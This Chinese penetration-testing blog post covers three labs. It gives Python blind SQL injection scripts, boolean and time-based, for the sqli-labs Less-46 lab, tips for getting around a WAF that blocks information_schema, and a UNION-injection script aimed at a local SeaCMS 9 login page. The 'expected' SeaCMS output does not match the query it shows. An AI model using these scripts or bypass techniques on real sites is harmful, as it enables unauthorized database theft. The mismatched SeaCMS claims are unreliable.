当前位置: 首页 > article >正文

渗透测试(WAF过滤information_schema库的绕过,sqllib-46关,海洋cms9版本的注入)

1.sqlin-lib 46关

打开网站配置文件发现

此网站的对ID进行了排序,我们可以知道,order by接不了union ,那我们可以通过测试sort,rond等函数,观察网页的反馈来判断我们的盲注是否正确

我们发现

当参数有sort来排序时,我们获得的回显

对于布尔盲注

import requests
from bs4 import BeautifulSoup

# 函数:解析响应内容
def get_content(resp):
    # 使用 BeautifulSoup 解析 HTML
    soup = BeautifulSoup(resp.text, 'html.parser')

    # 查找特定的 HTML 元素,根据目标页面的结构进行调整
    username_elem = soup.select_one('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')
    return username_elem.text.strip() if username_elem else None

# 函数:二分查找注入
def binary_search_injection(base_url, sql_query_template, max_length=100):
    result = []  # 存储结果
    for i in range(1, max_length + 1):
        left, right = 32, 127  # ASCII 范围

        while left <= right:
            mid = (left + right) // 2  # 中间值
            # 构造注入 URL
            url = base_url.format(sql_query=sql_query_template.format(index=i, mid_char=mid))
            
            try:
                # 发送请求
                resp = requests.get(url)
                content = get_content(resp)
                
                # 根据响应内容调整搜索范围
                if content == 'Dumb':
                    left = mid + 1
                else:
                    right = mid - 1
            except Exception as e:
                print(f"请求 {url} 失败: {e}")
                break

        # 确定当前字符
        if left <= 127 and left >= 32:
            char = chr(left)
            if char.isspace():
                break  # 空格表示结束
            result.append(char)
            print(''.join(result))
        else:
            break  # 超出范围,结束

    return ''.join(result)

# 主程序
if __name__ == '__main__':
    # 目标 URL(包含 {sql_query} 占位符)
    base_url = "http://localhost:8080/Less-46/index.php?sort={sql_query} -- "

    # SQL 查询模板(爆破数据库名)
    database_query = "if(ascii(substr(database(),{index},1))>{mid_char},id,username)"

    # 调用函数爆破数据库名
    database_name = binary_search_injection(base_url, database_query)
    print(f"\nDatabase Name: {database_name}")

时间盲注

import requests
import time

def time_blind_injection(base_url, sql_query_template, max_length=100):
    result = []
    for i in range(1, max_length + 1):
        left, right = 32, 127
        char_found = False
        while left <= right:
            mid = (left + right) // 2
            payload = sql_query_template.replace('{index}', str(i)).replace('{mid_char}', str(mid))
            url = f"{base_url}?sort={payload}"
            
            try:

                start_time = time.time()
                response = requests.get(url)

                end_time = time.time()
                elapsed_time = end_time - start_time
            except Exception as e:
                print(f"请求失败: {e}")
                break

            if elapsed_time > 5:

                left = mid + 1
            else:

                right = mid - 1


        if left <= 127 and left >= 32:
            final_char = chr(left)
        else:
            break 
        result.append(final_char)
        print(f"Extracted: {''.join(result)}")

    return ''.join(result)

if __name__ == '__main__':

    base_url = "http://localhost:8080/Less-46/index.php"

    database_query_template = "if(ascii(substr(database(),{index},1))>{mid_char},sleep(5),id)"

    extracted_data = time_blind_injection(base_url, database_query_template)
    print(f"\nDatabase Name: {extracted_data}")

2.WAF过滤information_schema

--1.介绍

          information_schema是信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。在information_schema中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件,也就是information_schema说一个虚拟数据库,物理上并不存在。

获取所有数据库列表

SELECT schema_name FROM information_schema.schemata;

查询某数据库下所有表名

SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_name';

表下的字段

SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'database_name' AND table_name = 'table_name';

--2.危害

        如何不屏蔽这个库,那么当骇入到网站时,网站的所有数据库(MySQL型)的信息将全部暴露,从而更容易被骇入成功

--3.屏蔽后的绕过

        -1.我们最容易想到的就是我们使用UNcode等编码来混淆我们的测试代码,但是一般来说这种方式是掩耳盗铃,因为我们的代码到最后都在WAF这里原形毕露,一般来说是不行的

        -2.   这个库不行,换一个库,我们可以使用其他的库来完成这个操作    

                比如:

performance_schema:主要存储了数据库服务的性能参数
MySQL:主要存储了系统的用户权限信息和帮助文档
sys:5.7后新增产物:information_schema和performance_schema的结合体,并以视图的形式显示出来的,能够查询出更令人容易理解的数据。

例如:

sys.schemassys.tablessys.columns

   -3.报错注入,一般来说服务器都会屏蔽回显,这个方法一般行不通

3.海洋cms9版本的注入

本地安装

        1.下载解压后,放在新建文件夹里面,使用快速搭建的软件(以小皮为例子)

选择目录

        在浏览器在打开index.php

然后跟着走

记住账号

       设置数据库,小皮这里的账号和密码都是root

进入网站

打开登录界面,查看源代码发现

<?php
session_start();
require_once("include/common.php");
//前置跳转start
$cs=$_SERVER["REQUEST_URI"];
if($GLOBALS['cfg_mskin']==3 AND $GLOBALS['isMobile']==1){header("location:$cfg_mhost$cs");}
if($GLOBALS['cfg_mskin']==4 AND $GLOBALS['isMobile']==1){header("location:$cfg_mhost");}
//前置跳转end
require_once(sea_INC."/main.class.php");
if($cfg_user==0) 
{
	ShowMsg('系统已关闭会员功能!','index.php');
	exit();
}
$hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser); //构造session安全码 
$svali = $_SESSION['sea_ckstr'];
if($dopost=='login')
{
	if($cfg_feedback_ck=='1')
	{
		$validate = empty($validate) ? '' : strtolower(trim($validate));
		if($validate=='' || $validate != $svali)
		{
			ResetVdValue();
			ShowMsg('验证码不正确!','-1');
			exit();
		}
	}
	if($userid=='')
	{
		ShowMsg('请输入用户名!','-1');
		exit();
	}
	if($pwd=='')
	{
		ShowMsg('请输入密码!','-1');
		exit();
	}

$userid = RemoveXSS(stripslashes($userid));
$userid = addslashes(cn_substr($userid,60));


$pwd = substr(md5($pwd),5,20);
$row1=$dsql->GetOne("select * from sea_member where state=1 and username='$userid'");
if($row1['username']==$userid AND $row1['password']==$pwd)
		{
					//验证是否激活邮箱
					require_once('data/admin/smtp.php');
					if($smtpreg=='on'){
						$sql="SELECT acode FROM sea_member where username= '$userid'"; 
						$row = $dsql->GetOne($sql);
						if($row['acode']!='y'){
							showMsg("您的账户尚未激活,请激活后登陆!","index.php",0,100000);
							exit;
						}
					}
					$_SESSION['sea_user_id'] = $row1['id'];
					$uid=$row1['id'];
					$_SESSION['sea_user_name'] = $row1['username'];
					if($row1['vipendtime']<time()){
						$_SESSION['sea_user_group'] = 2;
						$dsql->ExecuteNoneQuery("update `sea_member` set gid=2 where id=$uid");
						$_SESSION['hashstr']=$hashstr;
						$dsql->ExecuteNoneQuery("UPDATE `sea_member` set logincount=logincount+1 where id='$uid'");
						if($row1['gid'] !=2){
							ShowMsg("您购买的会员组已到期,请注意续费!<br>成功登录!","member.php",0,30000);
						}else{
							ShowMsg("成功登录,正在转向会员中心!","member.php",0,3000);
						}
					}else{
						$_SESSION['sea_user_group'] = $row1['gid'];
						$_SESSION['hashstr']=$hashstr;
						$dsql->ExecuteNoneQuery("UPDATE `sea_member` set logincount=logincount+1 where id='$uid'");
						ShowMsg("成功登录,正在转向会员中心!","member.php",0,3000);
					}
					
					
					exit();

		}
		else
		{
			ShowMsg("密码错误或账户已被禁用","login.php",0,3000);
			exit();
		}
}
else
{
	$tempfile = sea_ROOT."/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/login.html";
	if($GLOBALS['cfg_mskin']!=0 AND $GLOBALS['cfg_mskin']!=3 AND $GLOBALS['cfg_mskin']!=4  AND $GLOBALS['isMobile']==1)
	{$tempfile = sea_ROOT."/templets/".$GLOBALS['cfg_df_mstyle']."/".$GLOBALS['cfg_df_html']."/login.html";}
	$content=loadFile($tempfile);
	$t=$content;
	$t=$mainClassObj->parseTopAndFoot($t);
	$t=$mainClassObj->parseHistory($t);
	$t=$mainClassObj->parseSelf($t);
	$t=$mainClassObj->parseGlobal($t);
	$t=$mainClassObj->parseAreaList($t);
	$t=$mainClassObj->parseNewsAreaList($t);
	$t=$mainClassObj->parseMenuList($t,"");
	$t=$mainClassObj->parseVideoList($t,-444);
	$t=$mainClassObj->parseNewsList($t,-444);
	$t=$mainClassObj->parseTopicList($t);
	$t=replaceCurrentTypeId($t,-444);
	$t=$mainClassObj->parseIf($t);
	if($cfg_feedback_ck=='1')
	{$t=str_replace("{login:viewLogin}",viewLogin(),$t);}
	else
	{$t=str_replace("{login:viewLogin}",viewLogin2(),$t);}
	$t=str_replace("{login:main}",viewMain(),$t);
	$t=str_replace("{seacms:runinfo}",getRunTime($t1),$t);
	$t=str_replace("{seacms:member}",front_member(),$t);
	echo $t;
	exit();
}

function viewMain(){
	$main="<div class='leaveNavInfo'><h3><span id='adminleaveword'></span>".$GLOBALS['cfg_webname']."会员登录</h3></div>";
	return $main;
}

function viewLogin(){
	$mystr=
"<ul>".
"<form id=\"f_login\"   action=\"/".$GLOBALS['cfg_cmspath']."login.php\" method=\"post\">".
"<input type=\"hidden\" value=\"login\" name=\"dopost\" />".
"<li><input type=\"input\" name=\"userid\" autofocus class=\"form-control\" placeholder=\"用户名\" /></li>".
"<li><input type=\"password\" name=\"pwd\" class=\"form-control\" placeholder=\"密码\" /></li>".
"<li><img id=\"vdimgck\" src=\"./include/vdimgck.php\" alt=\"看不清?点击更换\" align=\"absmiddle\" class=\"pull-right\" style='width:70px; height:32px;' onClick=\"this.src=this.src+'?'\"/><input name=\"validate\" type=\"text\" placeholder=\"验证码\" style='width:50%;text-transform:uppercase;' class=\"form-control\" /> </li>".
"<li><input type=\"submit\" value=\"登录\" class=\"btn btn-block btn-warning\"/></li>".
"<li class=\"text-center\"><a class=\"text-muted\" href=\"./reg.php\">注册用户</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a class=\"text-muted\" href=\"./member.php?mod=repsw\">找回密码</a></li>".
"</ul>";
	return $mystr;
}

function viewLogin2(){
	$mystr=
	"<ul>".
"<form id=\"f_login\"   action=\"/".$GLOBALS['cfg_cmspath']."login.php\" method=\"post\">".
"<input type=\"hidden\" value=\"login\" name=\"dopost\" />".
"<li><input type=\"input\" name=\"userid\" autofocus class=\"form-control\" placeholder=\"用户名\" /></li>".
"<li><input type=\"password\" name=\"pwd\" class=\"form-control\" placeholder=\"密码\" /></li>".
"<li><input type=\"submit\" value=\"登录\" class=\"btn btn-block btn-warning\"/></li>".
"<li class=\"text-center\"><a class=\"text-muted\" href=\"./reg.php\">注册用户</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a class=\"text-muted\" href=\"./member.php?mod=repsw\">找回密码</a></li>".
"</form>".
"</ul>";
	return $mystr;
}

发现,在这个地方

$row1=$dsql->GetOne("select * from sea_member where state=1 and username='$userid'");

它是直接使用用户的ID去查询的,那么我们有机会从这里下手

import requests

def get_database_names(url):
    # 构造 SQL 注入查询
    payload = "' UNION SELECT schema_name FROM information_schema.schemata -- -"
    data = {
        "dopost": "login",
        "userid": payload,
        "pwd": "anything"
    }

    try:
        response = requests.post(url, data=data)
        return response.text
    except requests.exceptions.RequestException as e:
        print(f"请求失败: {e}")
        return None

def extract_database_names(response_text):

    database_names = []
    lines = response_text.split("\n")
    for line in lines:
        if "<td>" in line:
            parts = line.split("<td>")
            for part in parts[1:]:
                name = part.split("</td>")[0].strip()
                if name not in database_names and name:
                    database_names.append(name)
    return database_names

if __name__ == '__main__':
    # 目标 URL
    target_url = "http://localhost:8000/login.php"
    response = get_database_names(target_url)
    print(response)
    if response:
        databases = extract_database_names(response)
        print("已获取到以下数据库名称:")
        for db in databases:
            print(db)
    else:
        print("无法获取数据库名称。")

期望得到

{'username': 'admin', 'password': '5f4dcc3b5aa765d61d8327deb882cf99'}
{'username': 'user', 'password': '25d55ad283aa400af464c76d713c07ad'}

 但是回显报错

<html> <body style="margin:0; padding:0"> <center><iframe width="100%" align="center" height="870" frameborder="0" scrolling="no" src="http://safe.webscan.360.cn/stopattack.html "></iframe></center> </body>


http://www.kler.cn/a/563321.html

相关文章:

  • SOME/IP-SD -- 协议英文原文讲解4
  • 【leetcode hot 100 11】移动零
  • FTP出现“打开 FTP 服务器上的文件夹时发生错误。请检查是否有权限访问该文件夹。”如何处理?
  • SpringBoot 2 后端通用开发模板搭建(异常处理,请求响应)
  • DeepSeek “源神”启动!「GitHub 热点速览」
  • Harbor服务需要crt证书,而下载是nginx的证书pem,应该怎么处理
  • uniapp-X 对象动态取值
  • [Web 安全] PHP 反序列化漏洞 —— PHP 序列化 反序列化
  • 半导体芯片制造中 W CVD(钨化学气相沉积)
  • Docker启动ES容器打包本地镜像
  • mmdetection框架下使用yolov3训练Seaships数据集
  • 安卓工控平板电脑在环境监测设备中的运用
  • 前端实现rsa加密功能
  • 26.贪心算法4
  • 第二十二天 学习HarmonyOS的分布式软总线技术,了解跨设备通信的原理
  • 【原创工具】同文件夹PDF文件合并 By怜渠客
  • 如何连接到服务器
  • 请解释 React 中的 Hooks,何时使用 Hooks 更合适?
  • LangChain构建行业知识库实践:从架构设计到生产部署全指南
  • 网络原理---HTTP/HTTPS